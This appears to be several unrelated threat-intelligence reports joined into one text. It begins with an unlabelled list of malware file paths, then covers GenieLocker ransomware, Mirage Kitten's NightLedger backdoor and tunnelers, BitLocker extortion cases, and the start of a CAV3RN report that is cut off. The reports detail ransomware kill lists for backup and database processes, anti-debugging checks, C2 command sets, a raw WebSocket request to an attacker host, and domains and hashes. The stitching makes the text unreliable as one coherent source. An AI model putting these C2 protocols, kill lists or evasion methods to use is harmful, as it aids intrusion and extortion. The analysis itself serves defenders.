C:\ProgramData\usoprivate\updatestore\vulkan-1.dll
C:\ProgramData\Microsoft OneDrive\setup\OneDrive.dat
C:\ProgramData\NVIDIA\DisplayDriverContainer1.log
C:\ProgramData\Microsoft\Diagnosis\ETLLogs\ETL.log
C:\ProgramData\NVIDI\NGX\ngx.dat
C:\ProgramData\Intel\GCC\2024.log
C:\ProgramData\veem\pyshellext.amd64.log
C:\ProgramData\Microsoft\RtkNGUI\RtkNGUI64.exe
C:\ProgramData\microsoft\rtkngui\RtkNGUI64Loc.dll
C:\ProgramData\realtek\audio\RtkNGUI64Loc.dll
C:\realtek\audio\RtkNGUI64Loc.dll
C:\ProgramData\USOPrivate\UpdateStore\Store.dat
C:\ProgramData\Microsoft\Crypto\Keys\Store.key
C:\DrvPath\Network\Lan\Realtek\NetSetSvc.exe
C:\drvpath\network\lan\realtek\nvml.dll
C:\microsoft\network\connections\nvml.dll
C:\ProgramData\microsoft\network\connections\nvml.dll
C:\Windows\System32\0419\nvml.dll
C:\veeam\nvml.dll
C:\microsoft\network\nvml.dll
C:\ProgramData\hp\nvml.dll
C:\usoprivate\updatestore\nvml.dll
c:\nvidia corporation\display.nvcontainer\plugins\nvml.dll
C:\Users\Public\Pictures\image.png
C:\Users\Public\Documents\My Pictures\image.png
C:\ProgramData\Realtek\Audio\RtkSmbus.exe
C:\ProgramData\realtek\audio\RtkSmbusLoc.dll
C:\rtksmbusact\RtkSmbusLoc.dll
C:\ProgramData\rtksmbusact\RtkSmbusLoc.dll
C:\realtek\audio\RtkSmbusLoc.dll

PlugX file paths

C:\ProgramData\microsoft\html help\kmsonline.exe
C:\ProgramData\Symantec\RasTls.exe
C:\ProgramData\Symantec\RasTls.dll
C:\ProgramData\Symantec\RasTls.dll.res

WinRAR and 7z file paths

C:\Users\[username]\Libraries\RecordedTV.exe
C:\Users\[username]\Libraries\recordutil.exe
C:\windows\vss\7z.exe

Introduction

The new GenieLocker ransomware family has been active since March 2026. It has been used in attacks against organizations in the Russian Federation, primarily in the manufacturing sector, and attributed to the Toy Ghouls group by open-source intelligence (link in Russian).

The Toy Ghouls, also known as Bearlyfy, Labubu and Laboo.boo, is a financially motivated extortion group, which previously relied on third-party encryption Trojans like RedAlert, LockBit, and Babuk. GenieLocker, apparently a custom design, upgrades their toolkit and reduces their reliance on third-party software. We discovered multiple samples of this Trojan in two variants: PE builds for Windows and ELF builds for Linux and ESXi.

Technical details Modus operandi

We described typical TTPs and modus operandi of the Toy Ghouls threat actor in the previous post (link in Russian).

In this article, we aim to thoroughly describe the capabilities of Windows and Linux builds of the custom encryption Trojan GenieLocker. To give more context, we will also provide a brief overview of the attack that took place at the end of March 2026, where GenieLocker was deployed on the victim’s systems.

Initial Access

During the incident, the attackers first entered the environment through an OpenVPN connection originating from an external partner’s network. They likely exploited the trusted relationship with that partner and used stolen, yet still valid, credentials to connect.

Discovery and Credential Access

After breaching the target’s network, the attackers installed additional tools on the compromised hosts, including OpenSSH, socks5.exe, SoftPerfect Network Scanner, and Mimikatz. They employed SoftPerfect Network Scanner for discovery and used Mimikatz to dump credentials. Forensic analysis also shows that they accessed the KeePassXC password manager already installed on several compromised machines, likely attempting to extract the stored credentials from the KeePass databases.

Lateral Movement and Command and Control

Lateral movement was performed by using RDP to reach Windows machines and SSH for Linux servers. The widespread deployment of the encryption Trojan was conducted with the legitimate utilities PsExec and PAExec. Additionally, the attackers established a reverse SSH tunnel to communicate with their command‑and‑control server.

Impact

During the impact phase, the attackers encrypted files on the compromised Windows machines with the PE version of the GenieLocker ransomware. On the compromised Linux and ESXi servers, they stopped active virtual machines and encrypted their disks using the ELF version of GenieLocker.

The tactics, techniques, and procedures seen here match those documented in earlier attacks attributed to the Toy Ghouls group. As in those prior incidents, forensic analysis found no evidence of data exfiltration, which is typical behavior for this threat actor. Toy Ghouls have not employed a double‑extortion model and do not run a data‑leak website.

Encryption Trojan for Windows

The Windows version of GenieLocker (MD5: 5d62c1349b8981c396c9a23f4f8f053c) is primarily written in C, but compiled with the C++ libraries using Microsoft Visual C/C++. The malware incorporates several ransom‑related capabilities, including process termination, service shutdown, debugger evasion, and a sophisticated encryption routine. For its cryptographic operations, it relies on the open‑source libsodium library.

Aligned with the recent trend supported by our expertise, as observed in attacks of some other ransomware strains, GenieLocker doesn’t save the ransom notes on the victim’s system. The Trojan doesn’t contain any attackers’ contact info or negotiation addresses. Instead, the attackers will need to deliver the ransom demands and contacts manually during the attack. This approach may be an attempt by the GenieLocker developers to avoid proactive detection of the ransomware process being triggered by the creation of multiple readme files.

GenieLocker help message

Arguments and launch

GenieLocker supports multiple arguments for configuring its behavior.

Argument Description First argument “Secret” argument, hex string value -p, –percent N Percentage of file content to encrypt -r, –recursive Process directories recursively -l, –log <filename> Set path for log file -h, –help Show help message Last argument Path to encrypt

GenieLocker expects the first argument to be a hex string referred to in the malware code as the “secret argument”, which is required for the ransomware to start. Most likely, the purpose of this is to avoid execution on sandboxes and other automated analysis environments. Another reason may be to prevent unauthorized usage by other threat actors.

Checking the secret argument

The secret argument is a hex value with a variable size that does not exceed 4096 bytes. This hex string value is converted to bytes and hashed with the SHA‑256 algorithm. The result is compared to a hardcoded value. If they match, the literal string session is appended to the secret value, and the whole string is hashed with BLAKE2b‑256, but the resulting hash is never used. This may be a part of a feature still in development.

Secret value hashing

Anti-debugging

GenieLocker contains multiple methods to inspect if its process is under debugging. After launch it makes the first check named Environment check and uses WinAPI functions IsDebuggerPresent and CheckRemoteDebuggerPresent to detect the debugger.

Environment check

After the secret argument validation, GenieLocker starts a new parallel thread called watchdog. It runs in an infinite loop that performs a number of checks to detect well-known debuggers every 500 milliseconds. If at least one of the checks fails, the whole GenieLocker process immediately terminates.

Watchdog checks

The only thing worth elaborating on is that the GenieLocker process calculates the CRC32 of its .text section when the watchdog thread is starting, saves the resulting hash, and then recalculates it again in every loop and compares with the initial value. In case the code in this section is modified by the debugger or other program, this method allows the Trojan to detect this modification.

Preparing for encryption

GenieLocker contains multiple exclusion lists. For example, it does not encrypt folders with names from the list below. Among those, there are mostly system folders, which are skipped to avoid corrupting the OS.

$recycle.bin;config.msi;$windows.~bt;$windows.~ws;windows;boot;program files;program files (x86);programdata;system volume information;tor browser;windows.old;intel;msocache;perflogs;x64dbg;public;all users;default;microsoft;appdata

The Trojan also avoids encrypting the following system Windows files.

autorun.inf;boot.ini;bootfont.bin;bootsect.bak;desktop.ini;iconcache.db;ntldr;ntuser.dat;ntuser.dat.log;ntuser.ini;thumbs.db;GDIPFONTCACHEV1.DAT;d3d9caps.dat

The file extensions below are excluded from encryption as well.

386;adv;ani;bat;bin;cab;cmd;com;cpl;cur;deskthemepack;diagcab;diagcfg;diagpkg;dll;drv;exe;hlp;icl;icns;ico;ics;idx;ldf;lnk;mod;mpa;msc;msp;msstyles;msu;nls;nomedia;ocx;prf;ps1;rom;rtp;scr;shs;spl;sys;theme;themepack;wpx;lock;key;hta;msi;pdb;search-ms;MD

Furthermore, the Trojan contains an exclusion list for host names. The malware retrieves the computer name using GetComputerNameA and checks it against this list, but in the sample in question, the list is empty.

Output for whitelisted hosts

If the host name is not excluded, GenieLocker starts to kill processes that could be using the files of interest and therefore prevent the Trojan from encrypting them. These processes are listed below. The Trojan stops them by using the TerminateProcess function.

sql;oracle;ocssd;dbsnmp;synctime;agntsvc;isqlplussvc;xfssvccon;mydesktopservice;ocautoupds;encsvc;firefox;tbirdconfig;mydesktopqos;ocomm;dbeng50;sqbcoreservice;excel;infopath;msaccess;mspub;onenote;outlook;powerpnt;steam;thebat;thunderbird;visio;winword;wordpad;notepad;calc;wuauclt;onedrive;1c;vmwp;vmms;vmcompute;mssqlserver

Additionally, the Trojan stops the following services using ControlService with the SERVICE_CONTROL_STOP control code.

vss;sql;svc$;memtas;mepocs;msexchange;sophos;veeam;backup;GxVss;GxBlr;GxFWD;GxCVD;GxCIMgr;1c;Mssqlserver;vmwp;vmms;vmcompute;mssqlserver;agent_ovpnconnect

Finally, GenieLocker starts encryption threads and searches for all available drives, including network shares, to encrypt them.

Threads info output

File encryption and cryptography

The extension for the encrypted files is hardcoded in the Trojan’s body. In the sample under review, it is .03ffc1c4a3da0f02. Before starting to encrypt each file, GenieLocker creates two auxiliary files:

• a lock file: <filename.fileext>.03ffc1c4a3da0f02.lock
• a journal: <fileext>.03ffc1c4a3da0f02.journal

The lock file helps to protect files from double encryption by other threads or instances. Inside this file, the Trojan stores the current PID obtained from the GetCurrentProcessId function.

The journal file contains the hardcoded string VCJOURN, value 1 (possibly version), some unused zeroed fields, total blocks to encrypt, and the count of blocks that are actually encrypted. The last field is a CRC32 hash sum for the integrity check of the journal content.

Journal content

By default GenieLocker encrypts files using 0x1000000-byte chunks. If the argument -p is passed (it sets the percentage of the file contents to be encrypted), the ransomware calculates how many chunks with 0x1000000 size are necessary to encrypt the specified percentage. Each chunk has a random position inside the file. Regardless of whether the percentage is set, even if it is zero, the first chunk in the beginning of the file will be encrypted anyway.

The Trojan encrypts the file content using the Authenticated Encryption with Associated Data (AEAD) algorithm XChaCha20-Poly1305, with a unique key and nonce for each file. The Trojan also adds a footer that contains the data necessary for future decryption and metadata. The metadata parts are encrypted using the same cipher and key as the file contents, but with a different nonce. The file key is encrypted using the Curve25519-XSalsa20-Poly1305 scheme, with the attackers’ master public key hardcoded in the Trojan’s body.

The metadata of each encrypted file contains the following fields.

Value or name Size (bytes) Description version 1 Hardcoded byte with value 1, most likely the version. encryption_percent 1 Percentage of file content to encrypt, value from -p argument. file_nonce 24 Nonce used during encryption of the file content. original_filesize 8 Original size of the file before encryption. total_chunk_count 8 Max count of chunks inside the current file. chunk_size 4 Size of a single encrypted chunk (by default, 0x1000000 bytes on Windows and 0x400000 on ESXi and Linux). remain_size 4 The number of bytes remaining after splitting the file content into chunks. blake2b_digest_of_chunks 32 BLAKE2b-256 hash calculated from the original data of all chunks before they are encrypted. Used for integrity checks. chunk_count 4 Number of chunks that were encrypted. extension 64 A string with the additional ransomware extension. poly1305_tags (array) 16 bytes per chunk Array of Poly1305 tags of encrypted chunks. bitmask varies, one bit per each chunk Chunks bitmask; if set, the chunk is encrypted; otherwise, it is not.

The chunks bitmask contains as many bits as the maximum number of chunks inside a file at 100%. If a bit at a specific index is set to 1, the chunk is encrypted. The value 0 means that the chunk is not encrypted. Since the Trojan encrypts files based on the percentage value, it needs to know which chunks were encrypted.

Metadata structure at the end of an encrypted file (without a Poly1305 tags array or bitmask)

Encryption Trojan for ESXi and Linux

Compared with its Windows counterpart, the Linux and ESXi version of GenieLocker (MD5: 9201e35e2993612612919a3c71302cab) is simpler: there is no secret argument, anti‑debugging techniques, or exclusion lists. However, the sample has ESXi-specific features, such as double‑fork support and the ability to modify the Welcome Message. The sample has the version v1 and, similarly to the Windows version, uses the libsodium library for cryptography.

ESXi version description

The command‑line help output mirrors LockBit’s styling, reinforcing the theory that GenieLocker’s creators set out to craft a LockBit‑style replacement for their own operations.

LockBit output design, possibly the source layout for the GenieLocker ESXi variant

Based on the default path of the encryption directory /vmfs/volumes, we can assume that this version is intended primarily for ESXi. Nonetheless, it can still be executed on Linux distributions.

Argument Description -p <perc> Percentage of file content to encrypt -j <workers> Number of encryption threads -r <dir> Process directories recursively -w <sec> Delay before start -d Daemonizing the process -l <logfile> Path to log file ESXi and Linux features

This build allows daemonizing its process with the -d flag, employing the classic double‑fork method so the new process becomes fully detached from its parent.

This variant also modifies the /etc/vmware/welcome file, which contains the Welcome Message (Message of the Day) on the ESXi operating system. On Linux distributions, it does not change anything, because they use different paths for the Message of the Day. In the GenieLocker sample examined here, the message is left empty.

Additionally, the ESXi version supports a few basic features that are not included in the Windows version. For instance, there is a launch‑delay option and the ability to set the number of encryption worker threads. This build also includes several features that already exist in the Windows variant, such as configuring the percentage of a file to encrypt, choosing the target directory, and setting the log file location.

File encryption

The encryption scheme for files is identical to the Windows version. The Trojan uses XChaCha20-Poly1305 to encrypt the file content and metadata, and Curve25519-XSalsa20-Poly1305 for key encryption.

File encryption summary

Victims

According to KSN telemetry, GenieLocker detections are overwhelmingly concentrated on endpoints located in the Russian Federation. In the March 2026 campaign, the primary sector under siege was manufacturing, with construction trailing closely, followed by financial services, retail, and technology.

Conclusions

Toy Ghouls are ramping up their campaign against Russian enterprises. The rollout of their home‑grown encryption Trojan GenieLocker marks a major upgrade to the group’s ransomware toolkit. By engineering bespoke ransomware that runs natively on Windows, Linux, and ESXi, the actor has cut their dependence on off‑the‑shelf ransomware families and unified the cryptographic backbone across all targeted platforms.

Kaspersky’s products detect this malware as Trojan-Ransom.Win64.Agent.genie, HEUR:TrojanRansom.Win64.Generic, Trojan-Ransom.Linux.Agent.genie.

Indicators of compromise

Additional information about this threat is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: [email protected].

GenieLocker for Windows

A50EAAF514F4F84E61CA2455A8789753 kftd.exe, genie_encrypt.exe
F08F476F26B01D142CA73923DE65FC0C
FD46A80C2F45577263328984EDF7F4DC
DE3CFBB50F66079BFEE20A6F64E59433
780C8F4C6F077DA4DA96582987920362
D87D0B01D95ACC936B7DC47B8F41937A run.exe, genie_encrypt.exe
34A7F28E0BB69B0D49BACC88BDF20AC1 run.exe, run2.exe, genie.exe
5D62C1349B8981C396C9A23F4F8F053C genie_encrypt.exe
A8842616C9057D5CF6E1FE1FA8C3C160
34B8828635F88078735799A3C1AC8E28
D3E06EB34D8EEE7EF92CAC3AD0A20FF5
C68B6862725777651085650DB34947FC consultant.exe
9CD514FF2809CE0B993E3B8649E82A94
824CA1E906CC073EE5B0F3519DF69A8F
25480DAD40152EF3D0C6D38EECC9BD9B
7DAD78584795AA5C160520CC6ACCF260
18F61C6D686CFFD131C9FD3F3437064B tempo.exe, kernel.exe
9969A8221312DBA70DD5CBDDF83A146C
F7B9E36E94163A9A303160945F99267A
B893EAFED0659F70D4AC250F09073723
D661CF666B9ACBAB7CFEAE1127A261A9 genie.exe
3A4479B51890373BFC4A011EF41FE376
58C0DDA52B8F069660166D61FD74F911

GenieLocker for Linux and ESXi

9201E35E2993612612919A3C71302CAB vzdump

C2

89[.]125.66.101

Introduction

Mirage Kitten – also known as UNC1549, Smoke Sandstorm, and Nimbus Manticore – is an advanced persistent threat (APT) group focused on cyber-espionage operations against aerospace, aviation, defense, and telecommunications sectors across the Middle East and Africa, using highly targeted spear-phishing campaigns, fake recruitment portals, and custom multi-stage malware to gain persistent access and exfiltrate sensitive data.

During recent threat research, we identified a previously undocumented malware set developed and used by Mirage Kitten. The toolset includes NightLedger, a new Windows backdoor for reconnaissance, command execution, file operations, process discovery, and screenshot capture; and two custom WebSocket-based tunnelers, ArcBridge and BridgeHead, for covert network access and operator-controlled tunneling.

Technical details

Although the initial access vector remains unclear for most malware samples observed in this activity, we saw BridgeHead being deployed during post-exploitation activities in victim environments in Egypt and at a Pakistan-based aerospace and aviation organization. The deployment followed targeted spear-phishing activity consistent with tradecraft we recently documented as part of our private threat intelligence reporting service and publicly reported by Unit 42 and Check Point Research, including the use of highly tailored social engineering lures against selected targets. These lures included recruitment-themed content impersonating trusted brands and hiring platforms, as well as lookalike videoconferencing pages that redirected victims to malicious archives hosted on third-party file-sharing services.

NightLedger backdoor

NightLedger is a recently identified Windows backdoor that we attribute to Mirage Kitten based on code and behavioral similarities to the historical implants developed and used by the group. The implant masquerades as SspiCli.dll and appears to be designed for DLL search-order hijacking, targeting a legitimate AppVShNotify.exe binary. While AppVShNotify.exe does not directly import SspiCli.dll, it imports RPCRT4.dll, which can delay-load SspiCli.dll when it invokes an RPC API that requires authentication. This allows a co-located malicious SspiCli.dll to be loaded while forwarding expected exports to the legitimate DLL.

When started, the malicious DLL creates the mutex A8215357-F99A-44FE-BC65-D8F0434B0C03 to enforce a single running instance. If the mutex already exists, it exits immediately.

NightLedger periodically contacts its C2 over HTTPS, issuing an HTTP GET request to the /edfcvfgbhnjmkqwasderfgg endpoint at the realhealthshop[.]com domain, and uses tjconsultingservices[.]com as a fallback C2.

When a valid C2 response is received, the implant tokenizes the payload using the custom delimiter (#%%#) and passes the parsed fields to its command dispatcher. From a development standpoint, this is similar to TWOSTROKE, a backdoor attributed to the same APT and previously documented by GTIG, whose C2 response is hex-encoded and uses (@##@) as a field separator.

NightLedger supports the following commands:

Command ID Description 1 Gather user and host identity information 3 Execute a process/program 17 List directories 20 Download a file to the infected system 25 Gather host and network information 27 Copy a file 30 Update beacon interval 36 Take a screenshot 43 Load a DLL 56 Kill a process 62 Delete a file 69 Terminate thread 70 Upload file to C2 server via POST request to /qasxcdfvgbhnmyuioplkhnj 75 Enumerate logical drives 90 List processes 93 Collect C:\Windows\debug\NetSetup.log together with process-list output.
NetSetup.log is a Windows diagnostic log generated under C:\Windows\debug\ during domain/workgroup join, unjoin, and related network setup operations.

Command output is returned to the C2 via an HTTP POST request to /wsdefvvbnhyuijkplmbgfrtt.

BridgeHead – a WebSocket tunneler

During our investigation, we encountered a tunnel proxy deployed as unbcl.dll in the %LocalAppData%\Microsoft\VisualStudio directory on a machine in Egypt. We also identified a similar deployment in a Pakistan-based environment, where the tunneling tool was stored as C:\program files (x86)\univpn\promote\libwinpthread-1.dll. The malware dynamically loads advapi32.dll, resolves GetUserNameA, retrieves the current Windows username, converts it to lowercase, and searches for a specific substring in it. This behavior suggests prior reconnaissance was performed within the internal network and the username check is needed to make sure it runs on a specific machine. This is potentially intended to prevent execution of the standalone malware sample inside virtual analysis systems. If the substring is not found, the function returns silently without activating.

If the username check was successful, the tunneler establishes an HTTPS WebSocket connection as follows:

GET /connect HTTP/1.1 Host: smartconnect.azurewebsites.net Upgrade: websocket Connection: Upgrade User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38

The server responds with HTTP 101 (Switching Protocols) to complete the WebSocket upgrade. After the upgrade, the client sends a binary WebSocket message containing the literal string "token" as authentication. The server must respond within 10 seconds, or the connection is dropped and retried with exponential backoff.

The malware’s next action depends on the HTTP response returned by the server:

HTTP response Description 407 (Proxy Auth Required) Queries supported auth schemes via WinHttpQueryAuthSchemes, selects Negotiate (0x10) or NTLM (0x2) in that exact order, sets Windows SSO credentials (null username/password), retries up to 3 times. 101 (Switching Protocols) Success. Proceeds to WebSocket upgrade and authentication. Other Connection failed. Closes all handles, enters backoff.

This implementation closely mirrors the enterprise proxy traversal logic seen in the backdoor we track internally as Retrograde, which overlaps with tooling publicly reported as MiniFast/MiniUpdate, attributed to the same APT group. The implant is designed to operate through corporate proxy environments by handling HTTP 407 responses, negotiating Windows-integrated proxy authentication with Negotiate preferred over NTLM, retrying with the current user’s SSO context, and falling back to exponential C2 connection retry logic capped at 60 seconds.

Once the WebSocket channel is established and authenticated, the implant functions as a full SOCKS5 tunnel proxy. The C2 server initiates all tunnel connections by sending binary commands over the WebSocket; the implant simply forwards traffic between server‑specified targets and the WebSocket channel. This makes it a relay node: the operator runs tools server‑side, and all resulting TCP traffic is tunneled through the victim’s machine as if originating from the victim’s network.

All tunnel communication uses a fixed binary wire format:

Offset Size Field Encoding 0 1 type Message type (1–9) 1 4 connId Tunnel connection identifier 5 1 flags Status or error indicator 6 2 dataLen Payload length 8 var payload Message data

Every message is at least 8 bytes. Seven message types are actively used:

Type Name Direction Description 1 CONNECT Server -> Client Open a new TCP tunnel to a SOCKS5 target address 2 CONNECT_RESPONSE Client -> Server Confirm the connection was established 3 DATA Bidirectional Relay TCP traffic through the tunnel 4 DISCONNECT Bidirectional Close a tunnel connection 5 PING Bidirectional Keepalive probe, sent every 30 seconds by timer 6 PONG Bidirectional Keepalive reply 9 FLOWCTRL Bidirectional Throttle data flow to prevent buffer overrun

The CONNECT payload specifies where the implant should open a TCP connection. The target address is encoded in SOCKS5 format and consists of a single type byte, followed by the address and a 2-byte destination port:

Type byte Description 0x01 IPv4 address (4 bytes) 0x03 Domain name (1-byte length + string) 0x04 IPv6 address (16 bytes)

Notably, in the process of threat hunting, we detected another variant (MD5: C832ECD135781B11F59E3FFFB3D2B6AC) that shares the same dynamic-resolve stub pattern. This variant communicates with businessmixture.com/blog over WSS on port 443, and not through Microsoft Azure. Still, it implements the same technique of limiting execution to a specific username on the infected machine by hardcoding a 3-character control value that must appear as a substring in the lowercased Windows username retrieved via GetUserNameA. If the match fails, the implant silently exits, confirming per-target tailoring of each deployed binary.

ArcBridge: another WebSocket tunneling tool

ArcBridge is another WebSocket tunneling tool developed and used by Mirage Kitten. We first identified it in April 2026 in activity targeting victims in the Middle East. The malware creates a mutex named F56E68DA-4A89-46B4-9AC8-7290A7651000 to enforce single-instance execution. The use of a UUID-like mutex name is consistent with the NightLedger backdoor described earlier.
The malware contains an embedded configuration block that stores the C2 host, C2 port, retry or timeout value, SSL flag, and what is highly likely an implant identifier:

"<<STARTXX>>" "aecert.org" 443 5000 0 "4B8CC395-A26F-41F1-A1DC-8B993D9D41D2" "<<ENDXX>>"

After initialization, ArcBridge communicates over a WebSocket-style channel and waits for server-side control messages. It supports the following commands:

Command Description OPEN: Creates a proxy/tunnel session to a target selected by the operator. DNS: Performs hostname or address resolution and returns the result. Victimology

According to our telemetry, we identified victims across Middle East and African countries including Egypt, SMB and government environments in Jordan and Tanzania, aviation organizations in Pakistan, telecommunication companies in Ethiopia and financial-sector entities in Burkina Faso.

Conclusion

Mirage Kitten continues to evolve its malware arsenal to support targeted cyber-espionage operations across the Middle East and Africa regions. The NightLedger backdoor retains similar core command functionality to TWOSTROKE while introducing additional capabilities, including screenshot capture and collection of the NetSetup.log file.

Another notable aspect of the campaign is the group’s continued reliance on tunneling utilities as part of its operational toolkit. This aligns with previous public reporting, which documented the group’s use of the LIGHTRAIL and POLLBLEND tunnelers. Consistent with this tradecraft, we observed Mirage Kitten continuing to leverage tunneling capabilities alongside a gradual shift away from Microsoft Azure subdomain-style infrastructure in favor of Cloudflare-backed domains in some of its malware, a change likely intended to complicate attribution while maintaining resilient command-and-control communications.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at [email protected].

File hashes

NightLedger backdoor
A239E655709A2518DD0B7BDBED163679 – sspicli.dll

ArcBridge WebSocket tunneling tool
5FA15EF96808EA82F0A6176F0BB4B386
42F847597109DA2A220391BB09D00676
AFB1C1583606599C7272CFB33CC6F498

BridgeHead WebSocket tunneling tool
6038D42AF0AFFD1FB263F470C0956F6B – unbcl.dll
AE628EFA305387B633DCE82F9364875B – unbcl.dll
F7D36CC5904A53252D2BB3D21615134F – libwinpthread-1.dll
C90F0EFADBF322E5EB1C4103A38C30E6 – libwinpthread-1.dll
D09B14A2FE01C7363ECC56F5D046162C – IPHLPAPI.dll

Domains and IPs

smartconnect[.]azurewebsites[.]net
businessmixture[.]com
global-reds[.]com
maadinglobal[.]com
Business-deegital[.]com
business-deegital[.]azurewebsites[.]net
businessdeegital[.]azurewebsites[.]net
neexportfolio[.]azurewebsites[.]net
neexportfolio[.]com
neexportfolio[.]eastus[.]cloudapp[.]azure[.]com
172[.]86[.]98[.]113
aecert[.]org
realhealthshop[.]com
tjconsultingservices[.]com
thehealth-life[.]com
buisness-centeral-transportation[.]com
healthcarezoom-centeral[.]azurewebsites[.]net
healthcarezoomcenteral[.]azurewebsites[.]net
healthcarezoomcenteral[.]org
toadreport[.]azurewebsites[.]net
business-startup[.]azurewebsites[.]net
businessstartup[.]azurewebsites[.]net

Recently, our teams in Latin America investigated a series of incidents involving misconfiguration, the deployment of BitLocker, and the exploitation of corporate printers. Attackers used the devices to notify organizations that their infrastructure had been compromised and they had to pay a ransom to recover their data.

This article analyzes two incidents that occurred in June in Colombia and in May in Mexico. We highlight the similarities in the attackers’ communications and outline emerging trends in ransom amounts.

Initial sign of an attack

In both cases, the affected users initially noticed a padlock icon next to their drives in Windows Explorer. This indicated that the drive was encrypted with BitLocker, blocking access to its contents.

Drive icon indicating that the drive is locked

A recovery key was required to unlock the drive.

Attempt to access the disk’s contents and the prompt for the BitLocker recovery key

This is not the first time we have seen such threats; a few years ago, our team discovered a threat known as ShrinkLocker, which utilized BitLocker to achieve its goals.

First case: abusing RDP to encrypt data

One of the incidents occurred in Colombia in June. The attackers exploited an internet-exposed RDP service on a machine connected to an 8 TB storage device containing mission-critical data. After taking control of the system and manipulating user credentials, the attackers enabled BitLocker exclusively on the drive that primarily stored financial data. Once the encryption was complete, they locked the drive and used the company’s printers to produce ransom notes.

Ransomware note

Unfortunately, it was not possible to obtain evidence in the case due to the company’s rush to restore the encrypted disk. The communication with the attackers revealed a demand for just $3,000, and the company considered paying the ransom. After that, the system was restored before the forensic team could take any action, eliminating the evidence needed to assess the incident.

Attacker’s reply to the victim’s email sent to the address in the printed ransom note

This attack was made possible by an internet-facing remote desktop service (RDP) with additional open ports, which employees used to access corporate information. By exploiting this network exposure and misconfiguration, attackers breached the system, identified an additional drive, and leveraged BitLocker to encrypt the data and demand a ransom payment. Leaving RDP ports open without proper security controls jeopardizes the security of systems and information, as highlighted in the our “Global Report: Anatomy of a Cyber World“.

Exposed ports identified in the system in recent months

The company confirmed that, due to compatibility issues with applications required for operation, EPP (Endpoint Protection Platform) protection was disabled on the system, making it easier for attackers to validate, enumerate, and execute applications without revealing malicious activity to central monitoring systems.

Second case: meet the XEntry Team

In another incident, which occurred in Mexico in May, our team identified how the threat actor gained initial access to the infrastructure. They exploited a misconfigured MSSQL service. This allowed them to execute commands on the system after obtaining the database login credentials from code insecurely published on GitHub.

XEntry team attack

In this incident, the attack began three months prior to detection, with the intruder discovering and verifying their access to the environment. After confirming their access and privilege level within the MSSQL server settings, which extended beyond the DBMS to the underlying operating system, the attackers initially focused on manipulating certain aspects of the web server configuration on the same system. They lowered the server’s security settings and created web shell files in the publicly accessible folders. Many of these attempts to manipulate the service or create malicious files were contained by existing EPP security controls, but despite the alerts, the necessary investigation to address the activity was not conducted.

Commands executed when attempting to manipulate the web server

The attackers subsequently confirmed their ability to execute commands locally and set up their attack infrastructure to transmit data via a communications bridge. By exploiting the MSSQL service, they gained access to each of the organization’s internal systems.

The database engine used by the company was Microsoft SQL Server 2019.0150.2160.04, misconfigured to allow operating system сommand execution via the xp_cmdshell extended stored procedure.

Due to this misconfiguration of an internet-exposed service, the attackers established a channel capable of executing any type of command directed at the server and the local infrastructure within its scope.

Attack path

One of the main objectives was to identify shared systems and resources that provided access to critical information. Our analysis confirmed the attackers’ access to systems storing configuration parameters for networking, enterprise management, and cloud services, among others.

A subset of the critical information identified and collected by the attackers

In early May, the attackers focused on running additional scans and deploying ManageEngine’s Endpoint Central RMM (Remote Monitoring and Management) to establish persistence and begin the final stages of their intrusion.

Scanning and RMM deployment

Further RMM-type applications, such as Mesh Agent and Tactical RMM, were installed in the days that followed. These were used to deploy scheduled tasks responsible for enabling the BitLocker service and individually encrypting the infrastructure’s disks, generating a key for each encrypted system.

Commands executed through RMM tools to collect Bitlocker keys

Finally, in mid-May, the attackers managed to execute a Group Policy Object (GPO) used to deploy activation and encryption tasks, as well as other policies responsible for continued deployment of RMM applications via scheduled tasks. The activity initially targeted critical systems but later spread to every system synchronized with the domain controller. Users became aware of the attack when their machines displayed a blue screen with the message “Hacked by XEntry Team”, and their credentials stopped working to access their systems.

A few hours later, ransom notes began emerging from office printers.

Ransom note printed by the XEntry team

These cases confirm that adversary’s objective is to gain access to infrastructure while avoiding investment in or partnership with ransomware groups. Instead, they leverage built-in Microsoft tools to facilitate data encryption and ransom payments. Monitoring and centralizing logs on protected resources, as well as promptly managing alerts, are critical to countering this type of intrusion.

Conclusions

• Although the systems under review had security measures in place, there was a lack of proper alert management or inadequate decisions regarding application incompatibilities.
• We strongly recommend configuring the Remote Desktop Protocol (RDP) in strict accordance with cybersecurity best practices to prevent unauthorized access. This is especially critical: according to our Global Report: Anatomy of a Cyber World, more than 13% of incidents are related to policy violations and configuration errors, confirming that misconfigurations continue to pose a significant risk.
• Organizations should prioritize strict application control policies and active monitoring of network traffic for command-and-control (C2) communications. This is especially critical: according to the same report, more than 20% of incidents involved the abuse of RMM (Remote Monitoring and Management) tools for execution and C2 strategies. The fact that attackers used more than three distinct tools to gain control during a single incident further underscores the urgent need for these measures.
• Some questions remain unanswered due to a lack of evidence and a hasty system restoration effort that bypassed critical stages of the incident response process. It is important to ensure an adequate incident response procedure, preserving evidence to confirm all related activities, and adjusting or proposing controls to prevent future incidents involving similar TTPs.
• Although the ransom notes do not reveal a clear connection between the actors, certain words used in the messages, as well as the method of delivery and communication, may confirm a link:

“As a guarantee, we have no negative online reviews about non-fulfillment of our obligations…” (Ransom note from the first case)

“Our reputation is the guarantee that all content will be fulfilled…” (Ransom note from the second case)

Our teams continue to monitor these threats.

Detection signatures

• Trojan.Multi.Agent.gen
• Trojan.Win32.GenAutorunMsSqlServerCommandRun.a
• Trojan.Win32.Generic
• Exploit.Win32.SCShell.a

Introduction

In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026, we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture with a dedicated WebSocket-enabled C2 communication component and a more extensible plugin system designed to support modular post-exploitation capabilities.

Subsequently, Check Point Research publicly reported on the same controller-based architecture in July 2026. However, neither our previous research nor the subsequent public reporting covered the latest communication component analyzed in this report.

Following our June 2026 publication, we identified a .NET Native AOT communication module that is apparently designed to replace the previous HTTP/WebSocket component. It exchanges commands and results through Outlook calendar events accessed via Microsoft Graph. If Microsoft Graph authentication or tenant validation fails, the module attempts to retrieve replacement connection settings through DNS AAAA responses.

Module network communication architecture

